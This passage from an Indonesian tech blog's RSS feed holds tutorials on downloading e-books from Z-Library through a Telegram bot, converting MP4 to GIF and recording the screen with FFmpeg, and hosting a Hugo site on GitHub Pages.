&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;202&quot; height=&quot;300&quot; src=&quot;/_astro/ss5.Dl3dgMFu_7tJ52.webp&quot; /&gt;
Di sana, klik sub-menu &lt;strong&gt;Telegram Bot&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Open bot&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;993&quot; height=&quot;497&quot; src=&quot;/_astro/ss6.BFyh6xt5_pMm2M.webp&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Asumsinya, kalian sudah punya telegram ya. Kalau belum, silakan buat akun telegram dulu. Caranya gak susah, bisa di-google-ing.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Selanjutnya, nanti akan ada instruksi “instalasi” bot z-ibrary di telegram, dimulai dari link yang mengarah ke bot telegram @BotFather.
Silakan buka link bot tersebut di telegram web atau aplikasi telegram desktop.&lt;/p&gt;&lt;p&gt;Tahap selanjutnya, kita hanya perlu mengikuti instruksi yang diberikan oleh @BotFather, mulai dari memulai bot, membuat nama bot, dan terakhir, kita diminta untuk meng-&lt;em&gt;copy-paste&lt;/em&gt;-kan pesan terakhir (yang juga berisi token untuk mengakses API z-library) dari @BotFather ke kolom yang ada di halaman z-library.&lt;/p&gt;&lt;p&gt;Pesan terakhir yang harus di-&lt;em&gt;copy-paste&lt;/em&gt; seluruhnya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;447&quot; height=&quot;277&quot; src=&quot;/_astro/ss9.D6KWkYQh_1RtR8v.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;5. Mengunduh &lt;em&gt;e-book&lt;/em&gt; via bot telegram z-library&lt;a href=&quot;#5-mengunduh-e-book-via-bot-telegram-z-library&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika semua rangkaian proses tadi sudah selesai dilakukan, maka sejatinya kita sudah bisa mendapatkan e-book dari z-library dengan mudah, yaitu hanya via bot telegram &lt;strong&gt;“t.me/nama_bot_kalian”&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Berikut akan saya demo-kan cara mendapatkan e-book dari z-library via bot telegram.
Misalnya, saya ingin mencari buku ensiklopedia teori komunikasi, maka saya hanya perlu mengetikkan keyword berikut:&lt;br /&gt;
&lt;mark&gt;encyclopedia of communication theory&lt;/mark&gt;&lt;/p&gt;&lt;p&gt;Oke, sekian dulu tutorial kali ini.&lt;/p&gt;&lt;p&gt;See, ya!&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>FFmpeg - Convert MP4 to GIF</title><link>https://shangdi.github.io/posts/tech/ffmpeg-mp42gif/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ffmpeg-mp42gif/</guid><description>My simple note in regards of converting video (MP4) to GIF.</description><pubDate>Tue, 10 Oct 2023 17:40:23 GMT</pubDate><content:encoded>&lt;p&gt;Terkadang, GIF punya kelebihan dibandingkan dengan file video, terutama dalam hal ukuran file. Dengan kualitas gambar yang hampir sama dengan video, file GIF bisa berukuran lebih kecil dari file video. Contohnya, saya punya sebuah file video rekaman layar 720p berdurasi 25 detik, dan satu file GIF yang merupakan hasil konversi video sebelumnya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;165&quot; src=&quot;/_astro/ss1.C43725YD_1WNzfF.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Berikut adalah langkah-langkah membuat meng-&lt;em&gt;convert&lt;/em&gt; video (MP4) ke GIF&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;section&gt;&lt;h3&gt;Membuat palette&lt;a href=&quot;#membuat-palette&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Palette yang dibuat nanti akan dijadikan sebagai dasar warna dalam GIF. Oleh karena itu, kita akan buat file palette ini dalam bentuk gambar (PNG). Untuk membuat palette, berikut perintah yang perlu diketikkan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file_video.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-vf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;palettegen&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;palette_output.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;Membuat gif&lt;a href=&quot;#membuat-gif&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk membuat GIF, kita akan tidak hanya menyertakan file video-nya saja, tapi juga file palette yang sebelumnya sudah dibuat. Berikut adalah perintah yang perlu diinputkan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file_video.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;palette_output.png&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-filter_complex&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;fps=20,scale=1080:-1[x];[x][1:v]paletteuse&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gif_output.gif&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;FPS dan scale-nya bisa kita sesuaikan dengan kualitas GIF yang kita inginkan. Saya set fps di 20 karena file video yang saya buat memang di 20 fps (jadi saya buat juga 20 supaya sama) dan scale-nya di 1080 untuk menjaga kualitas GIF-nya (karena memang ada tulisan kecil yang harus terbaca). Semakin bagus kualitas yang dipertahankan untuk membuat GIF, semakin lama juga proses konversi-nya, tentu, menyesuaikan dengan kualitas hardware komputer/laptop yang digunakan :)&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bannerbear.com/blog/how-to-make-a-gif-from-a-video-using-ffmpeg/&quot; target=&quot;_blank&quot;&gt;https://www.bannerbear.com/blog/how-to-make-a-gif-from-a-video-using-ffmpeg/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Screen Recorder with FFmpeg</title><link>https://shangdi.github.io/posts/tech/ffmpeg-sr/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ffmpeg-sr/</guid><description>My simple note in regards of screen recording using ffmpeg.</description><pubDate>Tue, 10 Oct 2023 02:13:32 GMT</pubDate><content:encoded>&lt;p&gt;Kali ini, saya akan memberi tahu cara merekam layar desktop laptop atau komputer kita dengan &lt;strong&gt;FFmpeg&lt;/strong&gt;. Apa itu &lt;strong&gt;FFmpeg&lt;/strong&gt;? Penjelasan detail-nya tentu saja bisa didapatkan langsung dari website resminya di sini&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;856&quot; height=&quot;346&quot; src=&quot;/_astro/ss1.DDx1d0c4_21dKau.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tapi, sederhananya, &lt;strong&gt;FFmpeg&lt;/strong&gt; adalah *utility/tool/*aplikasi/&lt;em&gt;software&lt;/em&gt; video dan audio &lt;em&gt;converter&lt;/em&gt;. &lt;strong&gt;FFmpeg&lt;/strong&gt; juga merupakan program yang berbaris &lt;em&gt;command line&lt;/em&gt; sebagai &lt;em&gt;interface&lt;/em&gt;-nya. Jadi, meskipun hanya digunakan lewat CLI, tapi &lt;em&gt;ffmpeg&lt;/em&gt; punya banyak sekali power, salah satunya adalah merekam layar desktop kita.&lt;/p&gt;
&lt;p&gt;Misalnya, dibandingkan beberapa aplikasi perekam layar lainnya (seperti OBS-Studio &lt;em&gt;walaupun sama-sama open source&lt;/em&gt;), FFmpeg lebih praktis dan lebih kecil ukurannya.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Debian/Ubuntu-based&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Arch-based&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Fedora-based&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau kita bisa juga mengunduh &lt;em&gt;binary&lt;/em&gt; ffmpeg dari situs resminya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; dan menginstallnya di komputer/laptop kita.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Me-&lt;em&gt;record&lt;/em&gt; desktop dengan FFMPEG&lt;a href=&quot;#me-record-desktop-dengan-ffmpeg&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Untuk merekam layar desktop, kita hanya perlu mengetikkan satu baris perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-video_size&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1366x768&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-framerate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;x11grab&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$DISPLAY&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264rgb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-preset&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ultrafast&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;aac&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;-video_size&lt;/strong&gt;: resolusi display yang akan direkam (1366x768 karena itulah resolusi layar saya)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;-framerate&lt;/strong&gt;: jumlah frame per detik yang akan digunakan&lt;/p&gt;&lt;p&gt;&lt;strong&gt;-f&lt;/strong&gt;: mengambil I untuk &lt;em&gt;video input&lt;/em&gt; (kebetulan saya pake X &lt;em&gt;window system&lt;/em&gt; (X11), jadi, &lt;em&gt;device input video&lt;/em&gt;-nya adalah x11grab)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;-i&lt;/strong&gt;: input layar yang akan direkam (defaultnya adalah 0.0 atau via &lt;code&gt;env variable&lt;/code&gt;=$DISPLAY yang artinya mengambil seluruh gambar layar)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;-c&lt;/strong&gt;: codecs (encoder &amp;amp; decoder) yang disediakan oleh &lt;em&gt;&lt;strong&gt;libavcodec&lt;/strong&gt;&lt;/em&gt; library&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;-preset&lt;/strong&gt;: untuk menentukan kecepatan encoding terhadap rasio kompresi (semakin lambat presetnya-semakin bagus kompresinya, dan sebalinya.)&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;849&quot; height=&quot;316&quot; src=&quot;/_astro/ss2.DvekHiQA_2iXKuz.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jika kita ingin agar rekaman layar kita hanya video saja tanpa audio, maka kita dapat menggunakan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-video_size&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1024x768&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-framerate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;25&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;x11grab&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;:0.0+100,200&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Lebih lanjut:
baca artikel resmi FFmpeg: &lt;strong&gt;Capturing your Desktop / Screen Recording&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://ffmpeg.org/about.html&quot; target=&quot;_blank&quot;&gt;https://ffmpeg.org/about.html&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://ffmpeg.org/download.html#build-windows&quot; target=&quot;_blank&quot;&gt;https://ffmpeg.org/download.html#build-windows&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://ffmpeg.org/ffmpeg-codecs.html#Description&quot; target=&quot;_blank&quot;&gt;https://ffmpeg.org/ffmpeg-codecs.html#Description&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://trac.ffmpeg.org/wiki/Encode/H.264&quot; target=&quot;_blank&quot;&gt;https://trac.ffmpeg.org/wiki/Encode/H.264&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://trac.ffmpeg.org/wiki/Capture/Desktop&quot; target=&quot;_blank&quot;&gt;http://trac.ffmpeg.org/wiki/Capture/Desktop&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Hugo Advanced</title><link>https://shangdi.github.io/posts/tech/hugo-advanced/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/hugo-advanced/</guid><description>Hugo, but more advanced...</description><pubDate>Mon, 09 Oct 2023 08:22:46 GMT</pubDate><content:encoded>This article is encrypted. Please visit the website to view it.</content:encoded></item><item><title>Hugo To Github</title><link>https://shangdi.github.io/posts/tech/hugo-to-github/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/hugo-to-github/</guid><description>A guide to publish and host your Hugo site to Github.</description><pubDate>Mon, 09 Oct 2023 02:03:40 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h1&gt;Meng-Hosting di Github&lt;a href=&quot;#meng-hosting-di-github&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Di tulisan ini, saya akan menunjukkan cara hosting &lt;em&gt;static-site&lt;/em&gt; Hugo yang sudah dibuat sebelumnya ke Github. Jadi, sebelum lanjut membaca tutorial ini, ada 3 persyaratan yang harus sudah dipenuhi:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Punya akun Github (kalau belum punya silakan buat dulu).&lt;/li&gt;
&lt;li&gt;Komputer/laptop-nya sudah terinstall git (kalau belum silakan install).&lt;/li&gt;
&lt;li&gt;Sudah membuat website Hugo sebelumnya (kalau belum, silakan buat dulu, tutorialnya bisa mengikuti tulisan saya sebelumnya).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Saya akan menunjukkan 10 langkah dalam mem-&lt;em&gt;publish&lt;/em&gt; atau meng-&lt;em&gt;hosting&lt;/em&gt; &lt;em&gt;static-site&lt;/em&gt; Hugo kita ke Github&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Berikut langkah-langkahnya:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Langkah 1:&lt;a href=&quot;#langkah-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Buat sebuah repositori baru di Github.
Di Tab “Repository” -&amp;gt; Klik “&lt;strong&gt;New&lt;/strong&gt;”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1076&quot; height=&quot;402&quot; src=&quot;/_astro/ss1.DThu9g7r_1hKcLn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Misanya, saya akan namakan repositori baru saya dengan “githubwildan.github.io”. Kemudian klik “&lt;strong&gt;Create Repository&lt;/strong&gt;”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;685&quot; height=&quot;767&quot; src=&quot;/_astro/ss2.RdW7PzFi_SVjoq.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 2:&lt;a href=&quot;#langkah-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Push repositori lokal kita ke Github.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Jangan lupa, kalau mau konten post kita tampil, kita terlebih dahulu harus merubah &lt;em&gt;value&lt;/em&gt; “draft” post-nya dari &lt;code&gt;true&lt;/code&gt; ke &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Pastikan kita di folder root direktori proyek Hugo kita. Kemudian, ketikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;commit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-m&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;commit pertama ke github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;branch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-M&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;origin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git@github.com:abwildan/hugowildan.github.io.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;origin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 3:&lt;a href=&quot;#langkah-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita ke halaman Github repo. Kemudian dari main menu, kita klik menuju ke “&lt;strong&gt;Setting&lt;/strong&gt;” -&amp;gt; “&lt;strong&gt;Pages&lt;/strong&gt;”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1136&quot; height=&quot;746&quot; src=&quot;/_astro/ss3.BvVbM-I__1TNzjH.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 4:&lt;a href=&quot;#langkah-4&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ganti “Source” di bagian “Build and deployment” ke “&lt;strong&gt;Github Action&lt;/strong&gt;”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;322&quot; height=&quot;259&quot; src=&quot;/_astro/ss4.DX9PKwK-_5zVdu.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 5:&lt;a href=&quot;#langkah-5&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Buat file kosong baru di lokal repositori kita.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.github/workflows&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.github/workflows/hugo.yaml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 